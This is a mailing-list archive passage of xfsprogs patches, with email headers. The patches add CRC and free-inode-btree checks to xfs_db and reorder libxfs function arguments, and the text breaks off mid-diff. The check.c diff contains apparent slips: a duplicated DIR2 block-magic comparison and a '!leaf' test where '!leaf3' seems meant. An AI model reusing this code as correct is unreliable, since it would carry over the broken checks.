X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=UNPARSEABLE_RELAY X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.3.23261 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.00 UNPARSEABLE_RELAY Informational: message has unparseable relay lines Plumb in the necessary finobt scanning, magic number checks, and other fixups required to handle v5 filesystems. This makes it so that check can spot-check v5 filesystems even though xfs_repair is now the preferred fixer tool, which makes the xfstests fs check function a little happier. Signed-off-by: Darrick J. Wong --- db/check.c | 238 +++++++++++++++++++++++++++++++++++++++++++++++++++++------- db/type.c | 2 + 2 files changed, 214 insertions(+), 26 deletions(-) diff --git a/db/check.c b/db/check.c index 5d5165d..74d5b6c 100644 --- a/db/check.c +++ b/db/check.c @@ -44,7 +44,7 @@ typedef enum { DBM_FREE1, DBM_FREE2, DBM_FREELIST, DBM_INODE, DBM_LOG, DBM_MISSING, DBM_QUOTA, DBM_RTBITMAP, DBM_RTDATA, DBM_RTFREE, DBM_RTSUM, DBM_SB, - DBM_SYMLINK, + DBM_SYMLINK, DBM_BTFINO, DBM_NDBM } dbm_t; @@ -170,6 +170,7 @@ static const char *typename[] = { "rtsum", "sb", "symlink", + "btfino", NULL }; static int verbose; @@ -345,6 +346,9 @@ static void scanfunc_cnt(struct xfs_btree_block *block, int level, static void scanfunc_ino(struct xfs_btree_block *block, int level, xfs_agf_t *agf, xfs_agblock_t bno, int isroot); +static void scanfunc_fino(struct xfs_btree_block *block, int level, + struct xfs_agf *agf, xfs_agblock_t bno, + int isroot); static void set_dbmap(xfs_agnumber_t agno, xfs_agblock_t agbno, xfs_extlen_t len, dbm_t type, xfs_agnumber_t c_agno, xfs_agblock_t c_agbno); @@ -789,19 +793,6 @@ blockget_f( return 0; } - /* - * XXX: check does not support CRC enabled filesystems. Return - * immediately, silently, with success but without doing anything here - * initially so that xfstests can run without modification on metadata - * enabled filesystems. - * - * XXX: ultimately we need to dump an error message here that xfstests - * filters out, or we need to actually do the work to make check support - * crc enabled filesystems. - */ - if (xfs_sb_version_hascrc(&mp->m_sb)) - return 0; - if (!init(argc, argv)) { if (serious_error) exitcode = 3; @@ -1058,6 +1049,7 @@ blocktrash_f( (1 << DBM_RTBITMAP) | (1 << DBM_RTSUM) | (1 << DBM_SYMLINK) | + (1 << DBM_BTFINO) | (1 << DBM_SB); while ((c = getopt(argc, argv, "0123n:o:s:t:x:y:z")) != EOF) { switch (c) { @@ -2268,7 +2260,9 @@ process_data_dir_v2( data = iocur_top->data; block = iocur_top->data; if (be32_to_cpu(block->magic) != XFS_DIR2_BLOCK_MAGIC && - be32_to_cpu(data->magic) != XFS_DIR2_DATA_MAGIC) { + be32_to_cpu(data->magic) != XFS_DIR2_DATA_MAGIC && + be32_to_cpu(block->magic) != XFS_DIR3_BLOCK_MAGIC && + be32_to_cpu(data->magic) != XFS_DIR3_DATA_MAGIC) { if (!sflag || v) dbprintf(_("bad directory data magic # %#x for dir ino " "%lld block %d\n"), @@ -2279,7 +2273,8 @@ process_data_dir_v2( db = xfs_dir2_da_to_db(mp->m_dir_geo, dabno); bf = M_DIROPS(mp)->data_bestfree_p(data); ptr = (char *)M_DIROPS(mp)->data_unused_p(data); - if (be32_to_cpu(block->magic) == XFS_DIR2_BLOCK_MAGIC) { + if (be32_to_cpu(block->magic) == XFS_DIR2_BLOCK_MAGIC || + be32_to_cpu(block->magic) == XFS_DIR3_BLOCK_MAGIC) { btp = xfs_dir2_block_tail_p(mp->m_dir_geo, block); lep = xfs_dir2_block_leaf_p(btp); endptr = (char *)lep; @@ -2425,7 +2420,8 @@ process_data_dir_v2( (*dot)++; } } - if (be32_to_cpu(data->magic) == XFS_DIR2_BLOCK_MAGIC) { + if (be32_to_cpu(data->magic) == XFS_DIR2_BLOCK_MAGIC || + be32_to_cpu(data->magic) == XFS_DIR3_BLOCK_MAGIC) { endptr = (char *)data + mp->m_dir_geo->blksize; for (i = stale = 0; lep && i < be32_to_cpu(btp->count); i++) { if ((char *)&lep[i] >= endptr) { @@ -2457,7 +2453,8 @@ process_data_dir_v2( id->ino, dabno); error++; } - if (be32_to_cpu(data->magic) == XFS_DIR2_BLOCK_MAGIC && + if ((be32_to_cpu(data->magic) == XFS_DIR2_BLOCK_MAGIC || + be32_to_cpu(data->magic) == XFS_DIR3_BLOCK_MAGIC) && count != be32_to_cpu(btp->count) - be32_to_cpu(btp->stale)) { if (!sflag || v) dbprintf(_("dir %lld block %d bad block tail count %d " @@ -2466,7 +2463,8 @@ process_data_dir_v2( be32_to_cpu(btp->stale)); error++; } - if (be32_to_cpu(data->magic) == XFS_DIR2_BLOCK_MAGIC && + if ((be32_to_cpu(data->magic) == XFS_DIR2_BLOCK_MAGIC || + be32_to_cpu(data->magic) == XFS_DIR2_BLOCK_MAGIC) && stale != be32_to_cpu(btp->stale)) { if (!sflag || v) dbprintf(_("dir %lld block %d bad stale tail count %d\n"), @@ -3052,6 +3050,73 @@ process_leaf_node_dir_v2( } static void +process_leaf_node_dir_v3_free( + inodata_t *id, + int v, + xfs_dablk_t dabno, + freetab_t *freetab) +{ + xfs_dir2_data_off_t ent; + struct xfs_dir3_free *free; + int i; + int maxent; + int used; + + free = iocur_top->data; + maxent = M_DIROPS(mp)->free_max_bests(mp->m_dir_geo); + if (be32_to_cpu(free->hdr.firstdb) != xfs_dir2_da_to_db(mp->m_dir_geo, + dabno - mp->m_dir_geo->freeblk) * maxent) { + if (!sflag || v) + dbprintf(_("bad free block firstdb %d for dir ino %lld " + "block %d\n"), + be32_to_cpu(free->hdr.firstdb), id->ino, dabno); + error++; + return; + } + if (be32_to_cpu(free->hdr.nvalid) > maxent || + be32_to_cpu(free->hdr.nvalid) < 0 || + be32_to_cpu(free->hdr.nused) > maxent || + be32_to_cpu(free->hdr.nused) < 0 || + be32_to_cpu(free->hdr.nused) > + be32_to_cpu(free->hdr.nvalid)) { + if (!sflag || v) + dbprintf(_("bad free block nvalid/nused %d/%d for dir " + "ino %lld block %d\n"), + be32_to_cpu(free->hdr.nvalid), + be32_to_cpu(free->hdr.nused), id->ino, dabno); + error++; + return; + } + for (used = i = 0; i < be32_to_cpu(free->hdr.nvalid); i++) { + if (freetab->nents <= be32_to_cpu(free->hdr.firstdb) + i) + ent = NULLDATAOFF; + else + ent = freetab->ents[be32_to_cpu(free->hdr.firstdb) + i]; + if (ent != be16_to_cpu(free->bests[i])) { + if (!sflag || v) + dbprintf(_("bad free block ent %d is %d should " + "be %d for dir ino %lld block %d\n"), + i, be16_to_cpu(free->bests[i]), ent, + id->ino, dabno); + error++; + } + if (be16_to_cpu(free->bests[i]) != NULLDATAOFF) + used++; + if (ent != NULLDATAOFF) + freetab->ents[be32_to_cpu(free->hdr.firstdb) + i] = + NULLDATAOFF; + } + if (used != be32_to_cpu(free->hdr.nused)) { + if (!sflag || v) + dbprintf(_("bad free block nused %d should be %d for dir " + "ino %lld block %d\n"), + be32_to_cpu(free->hdr.nused), used, id->ino, + dabno); + error++; + } +} + +static void process_leaf_node_dir_v2_free( inodata_t *id, int v, @@ -3065,7 +3130,8 @@ process_leaf_node_dir_v2_free( int used; free = iocur_top->data; - if (be32_to_cpu(free->hdr.magic) != XFS_DIR2_FREE_MAGIC) { + if (be32_to_cpu(free->hdr.magic) != XFS_DIR2_FREE_MAGIC && + be32_to_cpu(free->hdr.magic) != XFS_DIR3_FREE_MAGIC) { if (!sflag || v) dbprintf(_("bad free block magic # %#x for dir ino %lld " "block %d\n"), @@ -3073,6 +3139,10 @@ process_leaf_node_dir_v2_free( error++; return; } + if (be32_to_cpu(free->hdr.magic) == XFS_DIR3_FREE_MAGIC) { + process_leaf_node_dir_v3_free(id, v, dabno, freetab); + return; + } maxent = M_DIROPS(mp)->free_max_bests(mp->m_dir_geo); if (be32_to_cpu(free->hdr.firstdb) != xfs_dir2_da_to_db(mp->m_dir_geo, dabno - mp->m_dir_geo->freeblk) * maxent) { @@ -3126,6 +3196,21 @@ process_leaf_node_dir_v2_free( } } +/* + * Get address of the bestcount field in the single-leaf block. + */ +static inline int +xfs_dir3_leaf_ents_count(struct xfs_dir2_leaf *lp) +{ + if (lp->hdr.info.magic == cpu_to_be16(XFS_DIR3_LEAF1_MAGIC) || + lp->hdr.info.magic == cpu_to_be16(XFS_DIR3_LEAFN_MAGIC)) { + struct xfs_dir3_leaf *lp3 = (struct xfs_dir3_leaf *)lp; + + return be16_to_cpu(lp3->hdr.count); + } + return be16_to_cpu(lp->hdr.count); +} + static void process_leaf_node_dir_v2_int( inodata_t *id, @@ -3136,6 +3221,7 @@ process_leaf_node_dir_v2_int( int i; __be16 *lbp; xfs_dir2_leaf_t *leaf; + struct xfs_dir3_leaf *leaf3 = NULL; xfs_dir2_leaf_entry_t *lep; xfs_dir2_leaf_tail_t *ltp; xfs_da_intnode_t *node; @@ -3144,7 +3230,15 @@ process_leaf_node_dir_v2_int( leaf = iocur_top->data; switch (be16_to_cpu(leaf->hdr.info.magic)) { + case XFS_DIR3_LEAF1_MAGIC: + case XFS_DIR3_LEAFN_MAGIC: + case XFS_DA3_NODE_MAGIC: + leaf3 = iocur_top->data; + break; + } + switch (be16_to_cpu(leaf->hdr.info.magic)) { case XFS_DIR2_LEAF1_MAGIC: + case XFS_DIR3_LEAF1_MAGIC: if (be32_to_cpu(leaf->hdr.info.forw) || be32_to_cpu(leaf->hdr.info.back)) { if (!sflag || v) @@ -3184,10 +3278,12 @@ process_leaf_node_dir_v2_int( } break; case XFS_DIR2_LEAFN_MAGIC: + case XFS_DIR3_LEAFN_MAGIC: /* if it's at the root location then we can check the * pointers are null XXX */ break; case XFS_DA_NODE_MAGIC: + case XFS_DA3_NODE_MAGIC: node = iocur_top->data; M_DIROPS(mp)->node_hdr_from_disk(&nodehdr, node); if (nodehdr.level < 1 || nodehdr.level > XFS_DA_NODE_MAXDEPTH) { @@ -3209,7 +3305,7 @@ process_leaf_node_dir_v2_int( return; } lep = M_DIROPS(mp)->leaf_ents_p(leaf); - for (i = stale = 0; i < be16_to_cpu(leaf->hdr.count); i++) { + for (i = stale = 0; i < xfs_dir3_leaf_ents_count(leaf); i++) { if (be32_to_cpu(lep[i].address) == XFS_DIR2_NULL_DATAPTR) stale++; else if (dir_hash_see(be32_to_cpu(lep[i].hashval), @@ -3222,7 +3318,14 @@ process_leaf_node_dir_v2_int( error++; } } - if (stale != be16_to_cpu(leaf->hdr.stale)) { + if (leaf3 && stale != be16_to_cpu(leaf3->hdr.stale)) { + if (!sflag || v) + dbprintf(_("dir3 %lld block %d stale mismatch " + "%d/%d\n"), + id->ino, dabno, stale, + be16_to_cpu(leaf3->hdr.stale)); + error++; + } else if (!leaf && stale != be16_to_cpu(leaf->hdr.stale)) { if (!sflag || v) dbprintf(_("dir %lld block %d stale mismatch " "%d/%d\n"), @@ -3809,6 +3912,12 @@ scan_ag( be32_to_cpu(agi->agi_root), be32_to_cpu(agi->agi_level), 1, scanfunc_ino, TYP_INOBT); + if (agi->agi_free_root) { + scan_sbtree(agf, + be32_to_cpu(agi->agi_free_root), + be32_to_cpu(agi->agi_free_level), + 1, scanfunc_fino, TYP_FINOBT); + } if (be32_to_cpu(agf->agf_freeblks) != agffreeblks) { if (!sflag) dbprintf(_("agf_freeblks %u, counted %u in ag %u\n"), @@ -4008,7 +4117,8 @@ scanfunc_bmap( agno = XFS_FSB_TO_AGNO(mp, bno); agbno = XFS_FSB_TO_AGBNO(mp, bno); - if (be32_to_cpu(block->bb_magic) != XFS_BMAP_MAGIC) { + if (be32_to_cpu(block->bb_magic) != XFS_BMAP_MAGIC && + be32_to_cpu(block->bb_magic) != XFS_BMAP_CRC_MAGIC) { if (!sflag || id->ilist || CHECK_BLIST(bno)) dbprintf(_("bad magic # %#x in inode %lld bmbt block " "%u/%u\n"), @@ -4073,7 +4183,8 @@ scanfunc_bno( xfs_agnumber_t seqno = be32_to_cpu(agf->agf_seqno); xfs_agblock_t lastblock; - if (be32_to_cpu(block->bb_magic) != XFS_ABTB_MAGIC) { + if (be32_to_cpu(block->bb_magic) != XFS_ABTB_MAGIC && + be32_to_cpu(block->bb_magic) != XFS_ABTB_CRC_MAGIC) { dbprintf(_("bad magic # %#x in btbno block %u/%u\n"), be32_to_cpu(block->bb_magic), seqno, bno); serious_error++; @@ -4146,7 +4257,8 @@ scanfunc_cnt( xfs_alloc_rec_t *rp; xfs_extlen_t lastcount; - if (be32_to_cpu(block->bb_magic) != XFS_ABTC_MAGIC) { + if (be32_to_cpu(block->bb_magic) != XFS_ABTC_MAGIC && + be32_to_cpu(block->bb_magic) != XFS_ABTC_CRC_MAGIC) { dbprintf(_("bad magic # %#x in btcnt block %u/%u\n"), be32_to_cpu(block->bb_magic), seqno, bno); serious_error++; @@ -4226,7 +4338,8 @@ scanfunc_ino( xfs_inobt_ptr_t *pp; xfs_inobt_rec_t *rp; - if (be32_to_cpu(block->bb_magic) != XFS_IBT_MAGIC) { + if (be32_to_cpu(block->bb_magic) != XFS_IBT_MAGIC && + be32_to_cpu(block->bb_magic) != XFS_IBT_CRC_MAGIC) { dbprintf(_("bad magic # %#x in inobt block %u/%u\n"), be32_to_cpu(block->bb_magic), seqno, bno); serious_error++; @@ -4322,6 +4435,79 @@ scanfunc_ino( } static void +scanfunc_fino( + struct xfs_btree_block *block, + int level, + struct xfs_agf *agf, + xfs_agblock_t bno, + int isroot) +{ + xfs_agino_t agino; + xfs_agnumber_t seqno = be32_to_cpu(agf->agf_seqno); + int i; + int off; + xfs_inobt_ptr_t *pp; + struct xfs_inobt_rec *rp; + + if (be32_to_cpu(block->bb_magic) != XFS_FIBT_MAGIC && + be32_to_cpu(block->bb_magic) != XFS_FIBT_CRC_MAGIC) { + dbprintf(_("bad magic # %#x in finobt block %u/%u\n"), + be32_to_cpu(block->bb_magic), seqno, bno); + serious_error++; + return; + } + if (be16_to_cpu(block->bb_level) != level) { + if (!sflag) + dbprintf(_("expected level %d got %d in finobt block " + "%u/%u\n"), + level, be16_to_cpu(block->bb_level), seqno, bno); + error++; + } + set_dbmap(seqno, bno, 1, DBM_BTFINO, seqno, bno); + if (level == 0) { + if (be16_to_cpu(block->bb_numrecs) > mp->m_inobt_mxr[0] || + (isroot == 0 && be16_to_cpu(block->bb_numrecs) < mp->m_inobt_mnr[0])) { + dbprintf(_("bad btree nrecs (%u, min=%u, max=%u) in " + "finobt block %u/%u\n"), + be16_to_cpu(block->bb_numrecs), mp->m_inobt_mnr[0], + mp->m_inobt_mxr[0], seqno, bno); + serious_error++; + return; + } + rp = XFS_INOBT_REC_ADDR(mp, block, 1); + for (i = 0; i < be16_to_cpu(block->bb_numrecs); i++) { + agino = be32_to_cpu(rp[i].ir_startino); + off = XFS_INO_TO_OFFSET(mp, agino); + if (off == 0) { + if ((sbversion & XFS_SB_VERSION_ALIGNBIT) && + mp->m_sb.sb_inoalignmt && + (XFS_INO_TO_AGBNO(mp, agino) % + mp->m_sb.sb_inoalignmt)) + sbversion &= ~XFS_SB_VERSION_ALIGNBIT; + check_set_dbmap(seqno, XFS_AGINO_TO_AGBNO(mp, agino), + (xfs_extlen_t)MAX(1, + XFS_INODES_PER_CHUNK >> + mp->m_sb.sb_inopblog), + DBM_INODE, DBM_INODE, seqno, bno); + } + } + return; + } + if (be16_to_cpu(block->bb_numrecs) > mp->m_inobt_mxr[1] || + (isroot == 0 && be16_to_cpu(block->bb_numrecs) < mp->m_inobt_mnr[1])) { + dbprintf(_("bad btree nrecs (%u, min=%u, max=%u) in finobt block " + "%u/%u\n"), + be16_to_cpu(block->bb_numrecs), mp->m_inobt_mnr[1], + mp->m_inobt_mxr[1], seqno, bno); + serious_error++; + return; + } + pp = XFS_INOBT_PTR_ADDR(mp, block, 1, mp->m_inobt_mxr[1]); + for (i = 0; i < be16_to_cpu(block->bb_numrecs); i++) + scan_sbtree(agf, be32_to_cpu(pp[i]), level, 0, scanfunc_fino, TYP_FINOBT); +} + +static void set_dbmap( xfs_agnumber_t agno, xfs_agblock_t agbno, diff --git a/db/type.c b/db/type.c index 5c60736..955986b 100644 --- a/db/type.c +++ b/db/type.c @@ -141,6 +141,8 @@ static const typ_t __typtab_spcrc[] = { { TYP_SYMLINK, "symlink", handle_struct, symlink_crc_hfld, &xfs_symlink_buf_ops }, { TYP_TEXT, "text", handle_text, NULL, NULL }, + { TYP_FINOBT, "finobt", handle_struct, inobt_crc_hfld, + &xfs_inobt_buf_ops }, { TYP_NONE, NULL } }; From darrick.wong@oracle.com Wed Oct 7 00:06:10 2015 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=UNPARSEABLE_RELAY autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 3DCCB7F62 for ; Wed, 7 Oct 2015 00:06:10 -0500 (CDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay1.corp.sgi.com (Postfix) with ESMTP id 1194A8F8035 for ; Tue, 6 Oct 2015 22:06:10 -0700 (PDT) X-ASG-Debug-ID: 1444194368-04bdf020dc0e880001-NocioJ Received: from aserp1040.oracle.com (aserp1040.oracle.com [141.146.126.69]) by cuda.sgi.com with ESMTP id xnhCmpq7tT4yspS3 (version=TLSv1.2 cipher=ECDHE-RSA-AES256-GCM-SHA384 bits=256 verify=NO) for ; Tue, 06 Oct 2015 22:06:08 -0700 (PDT) X-Barracuda-Envelope-From: darrick.wong@oracle.com X-Barracuda-Apparent-Source-IP: 141.146.126.69 Received: from userv0021.oracle.com (userv0021.oracle.com [156.151.31.71]) by aserp1040.oracle.com (Sentrion-MTA-4.3.2/Sentrion-MTA-4.3.2) with ESMTP id t97567dd014878 (version=TLSv1 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Wed, 7 Oct 2015 05:06:07 GMT Received: from userv0122.oracle.com (userv0122.oracle.com [156.151.31.75]) by userv0021.oracle.com (8.13.8/8.13.8) with ESMTP id t975662d021515 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=FAIL); Wed, 7 Oct 2015 05:06:06 GMT Received: from abhmp0017.oracle.com (abhmp0017.oracle.com [141.146.116.23]) by userv0122.oracle.com (8.13.8/8.13.8) with ESMTP id t97566ff024606; Wed, 7 Oct 2015 05:06:06 GMT Received: from localhost (/24.21.154.84) by default (Oracle Beehive Gateway v4.0) with ESMTP ; Tue, 06 Oct 2015 22:06:06 -0700 Subject: [PATCH 08/51] libxfs: reorder xfs_bmap_add_free args From: "Darrick J. Wong" X-ASG-Orig-Subj: [PATCH 08/51] libxfs: reorder xfs_bmap_add_free args To: david@fromorbit.com, darrick.wong@oracle.com Cc: xfs@oss.sgi.com Date: Tue, 06 Oct 2015 22:06:05 -0700 Message-ID: <20151007050605.1504.86527.stgit@birch.djwong.org> In-Reply-To: <20151007050513.1504.28089.stgit@birch.djwong.org> References: <20151007050513.1504.28089.stgit@birch.djwong.org> User-Agent: StGit/0.17.1-dirty MIME-Version: 1.0 Content-Type: text/plain; charset="utf-8" Content-Transfer-Encoding: 7bit X-Source-IP: userv0021.oracle.com [156.151.31.71] X-Barracuda-Connect: aserp1040.oracle.com[141.146.126.69] X-Barracuda-Start-Time: 1444194368 X-Barracuda-Encrypted: ECDHE-RSA-AES256-GCM-SHA384 X-Barracuda-URL: https://192.48.157.11:443/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=UNPARSEABLE_RELAY X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.3.23261 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.00 UNPARSEABLE_RELAY Informational: message has unparseable relay lines Move the mount & transaction arguments to the start of xfs_bmap_add_free, like most API calls. The kernel version of rmap makes this change, so porting it to xfsprogs will make maintenance easier. Signed-off-by: Darrick J. Wong --- libxfs/xfs_bmap.c | 12 ++++++------ libxfs/xfs_bmap.h | 4 ++-- libxfs/xfs_bmap_btree.c | 2 +- libxfs/xfs_ialloc.c | 8 ++++---- 4 files changed, 13 insertions(+), 13 deletions(-) diff --git a/libxfs/xfs_bmap.c b/libxfs/xfs_bmap.c index 68869f6..46f8469 100644 --- a/libxfs/xfs_bmap.c +++ b/libxfs/xfs_bmap.c @@ -559,10 +559,10 @@ xfs_bmap_validate_ret( */ void xfs_bmap_add_free( + struct xfs_mount *mp, /* mount point structure */ + struct xfs_bmap_free *flist, /* list of extents */ xfs_fsblock_t bno, /* fs block number of extent */ - xfs_filblks_t len, /* length of extent */ - xfs_bmap_free_t *flist, /* list of extents */ - xfs_mount_t *mp) /* mount point structure */ + xfs_filblks_t len) /* length of extent */ { xfs_bmap_free_item_t *cur; /* current (next) element */ xfs_bmap_free_item_t *new; /* new element */ @@ -688,7 +688,7 @@ xfs_bmap_btree_to_extents( cblock = XFS_BUF_TO_BLOCK(cbp); if ((error = xfs_btree_check_block(cur, cblock, 0, cbp))) return error; - xfs_bmap_add_free(cbno, 1, cur->bc_private.b.flist, mp); + xfs_bmap_add_free(mp, cur->bc_private.b.flist, cbno, 1); ip->i_d.di_nblocks--; xfs_trans_mod_dquot_byino(tp, ip, XFS_TRANS_DQ_BCOUNT, -1L); xfs_trans_binval(tp, cbp); @@ -4969,8 +4969,8 @@ xfs_bmap_del_extent( * If we need to, add to list of extents to delete. */ if (do_fx) - xfs_bmap_add_free(del->br_startblock, del->br_blockcount, flist, - mp); + xfs_bmap_add_free(mp, flist, del->br_startblock, + del->br_blockcount); /* * Adjust inode # blocks in the file. */ diff --git a/libxfs/xfs_bmap.h b/libxfs/xfs_bmap.h index 85143e5..d3daf6d 100644 --- a/libxfs/xfs_bmap.h +++ b/libxfs/xfs_bmap.h @@ -182,8 +182,8 @@ void xfs_bmap_trace_exlist(struct xfs_inode *ip, xfs_extnum_t cnt, int xfs_bmap_add_attrfork(struct xfs_inode *ip, int size, int rsvd); void xfs_bmap_local_to_extents_empty(struct xfs_inode *ip, int whichfork); -void xfs_bmap_add_free(xfs_fsblock_t bno, xfs_filblks_t len, - struct xfs_bmap_free *flist, struct xfs_mount *mp); +void xfs_bmap_add_free(struct xfs_mount *mp, struct xfs_bmap_free *flist, + xfs_fsblock_t bno, xfs_filblks_t len); void xfs_bmap_cancel(struct xfs_bmap_free *flist); int xfs_bmap_finish(struct xfs_trans **tp, struct xfs_bmap_free *flist, int *committed); diff --git a/libxfs/xfs_bmap_btree.c b/libxfs/xfs_bmap_btree.c index f42bc2d..088d74d 100644 --- a/libxfs/xfs_bmap_btree.c +++ b/libxfs/xfs_bmap_btree.c @@ -523,7 +523,7 @@ xfs_bmbt_free_block( struct xfs_trans *tp = cur->bc_tp; xfs_fsblock_t fsbno = XFS_DADDR_TO_FSB(mp, XFS_BUF_ADDR(bp)); - xfs_bmap_add_free(fsbno, 1, cur->bc_private.b.flist, mp); + xfs_bmap_add_free(mp, cur->bc_private.b.flist, fsbno, 1); ip->i_d.di_nblocks--; xfs_trans_log_inode(tp, ip, XFS_ILOG_CORE); diff --git a/libxfs/xfs_ialloc.c b/libxfs/xfs_ialloc.c index 93bfaea..8fffb54 100644 --- a/libxfs/xfs_ialloc.c +++ b/libxfs/xfs_ialloc.c @@ -1822,9 +1822,9 @@ xfs_difree_inode_chunk( if (!xfs_inobt_issparse(rec->ir_holemask)) { /* not sparse, calculate extent info directly */ - xfs_bmap_add_free(XFS_AGB_TO_FSB(mp, agno, + xfs_bmap_add_free(mp, flist, XFS_AGB_TO_FSB(mp, agno, XFS_AGINO_TO_AGBNO(mp, rec->ir_startino)), - mp->m_ialloc_blks, flist, mp); + mp->m_ialloc_blks); return; } @@ -1867,8 +1867,8 @@ xfs_difree_inode_chunk( ASSERT(agbno % mp->m_sb.sb_spino_align == 0); ASSERT(contigblk % mp->m_sb.sb_spino_align == 0); - xfs_bmap_add_free(XFS_AGB_TO_FSB(mp, agno, agbno), contigblk, - flist, mp); + xfs_bmap_add_free(mp, flist, XFS_AGB_TO_FSB(mp, agno, agbno), + contigblk); /* reset range to current bit and carry on... */ startidx = endidx = nextbit; From darrick.wong@oracle.com Wed Oct 7 00:06:22 2015 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=UNPARSEABLE_RELAY autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id E0F8D29E70 for ; Wed, 7 Oct 2015 00:06:22 -0500 (CDT) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay1.corp.sgi.com (Postfix) with ESMTP id B843B8F8035 for ; Tue, 6 Oct 2015 22:06:22 -0700 (PDT) X-ASG-Debug-ID: 1444194381-04cb6c57850d8c0001-NocioJ Received: from aserp1040.oracle.com (aserp1040.oracle.com [141.146.126.69]) by cuda.sgi.com with ESMTP id gtoC1n2NOwySctMl (version=TLSv1.2 cipher=ECDHE-RSA-AES256-GCM-SHA384 bits=256 verify=NO) for ; Tue, 06 Oct 2015 22:06:21 -0700 (PDT) X-Barracuda-Envelope-From: darrick.wong@oracle.com X-Barracuda-Apparent-Source-IP: 141.146.126.69 Received: from aserv0021.oracle.com (aserv0021.oracle.com [141.146.126.233]) by aserp1040.oracle.com (Sentrion-MTA-4.3.2/Sentrion-MTA-4.3.2) with ESMTP id t9756KMW014983 (version=TLSv1 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Wed, 7 Oct 2015 05:06:20 GMT Received: from userv0122.oracle.com (userv0122.oracle.com [156.151.31.75]) by aserv0021.oracle.com (8.13.8/8.13.8) with ESMTP id t9756J4R027204 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=FAIL); Wed, 7 Oct 2015 05:06:20 GMT Received: from abhmp0007.oracle.com (abhmp0007.oracle.com [141.146.116.13]) by userv0122.oracle.com (8.13.8/8.13.8) with ESMTP id t9756JOr024740; Wed, 7 Oct 2015 05:06:19 GMT Received: from localhost (/24.21.154.84) by default (Oracle Beehive Gateway v4.0) with ESMTP ; Tue, 06 Oct 2015 22:06:19 -0700 Subject: [PATCH 10/51] libxfs: resync xfs_prealloc_blocks with the kernel From: "Darrick J. Wong" X-ASG-Orig-Subj: [PATCH 10/51] libxfs: resync xfs_prealloc_blocks with the kernel To: david@fromorbit.com, darrick.wong@oracle.com Cc: xfs@oss.sgi.com Date: Tue, 06 Oct 2015 22:06:18 -0700 Message-ID: <20151007050618.1504.21379.stgit@birch.djwong.org> In-Reply-To: <20151007050513.1504.28089.stgit@birch.djwong.org> References: <20151007050513.1504.28089.stgit@birch.djwong.org> User-Agent: StGit/0.17.1-dirty MIME-Version: 1.0 Content-Type: text/plain; charset="utf-8" Content-Transfer-Encoding: 7bit X-Source-IP: aserv0021.oracle.com [141.146.126.233] X-Barracuda-Connect: aserp1040.oracle.com[141.146.126.69] X-Barracuda-Start-Time: 1444194381 X-Barracuda-Encrypted: ECDHE-RSA-AES256-GCM-SHA384 X-Barracuda-URL: https://192.48.176.15:443/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=UNPARSEABLE_RELAY X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.3.23261 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.00 UNPARSEABLE_RELAY Informational: message has unparseable relay lines Move xfs_prealloc_blocks() to the same line as in the kernel code. Signed-off-by: Darrick J. Wong --- libxfs/xfs_alloc.c | 22 +++++++++++----------- libxfs/xfs_alloc.h | 4 ++-- 2 files changed, 13 insertions(+), 13 deletions(-) diff --git a/libxfs/xfs_alloc.c b/libxfs/xfs_alloc.c index 9141b58..eeb682e 100644 --- a/libxfs/xfs_alloc.c +++ b/libxfs/xfs_alloc.c @@ -46,6 +46,17 @@ STATIC int xfs_alloc_ag_vextent_size(xfs_alloc_arg_t *); STATIC int xfs_alloc_ag_vextent_small(xfs_alloc_arg_t *, xfs_btree_cur_t *, xfs_agblock_t *, xfs_extlen_t *, int *); +xfs_extlen_t +xfs_prealloc_blocks( + struct xfs_mount *mp) +{ + if (xfs_sb_version_hasrmapbt(&mp->m_sb)) + return XFS_RMAP_BLOCK(mp) + 1; + if (xfs_sb_version_hasfinobt(&mp->m_sb)) + return XFS_FIBT_BLOCK(mp) + 1; + return XFS_IBT_BLOCK(mp) + 1; +} + /* * Lookup the record equal to [bno, len] in the btree given by cur. */ @@ -2707,14 +2718,3 @@ error0: xfs_perag_put(args.pag); return error; } - -xfs_extlen_t -xfs_prealloc_blocks( - struct xfs_mount *mp) -{ - if (xfs_sb_version_hasrmapbt(&mp->m_sb)) - return XFS_RMAP_BLOCK(mp) + 1; - if (xfs_sb_version_hasfinobt(&mp->m_sb)) - return XFS_FIBT_BLOCK(mp) + 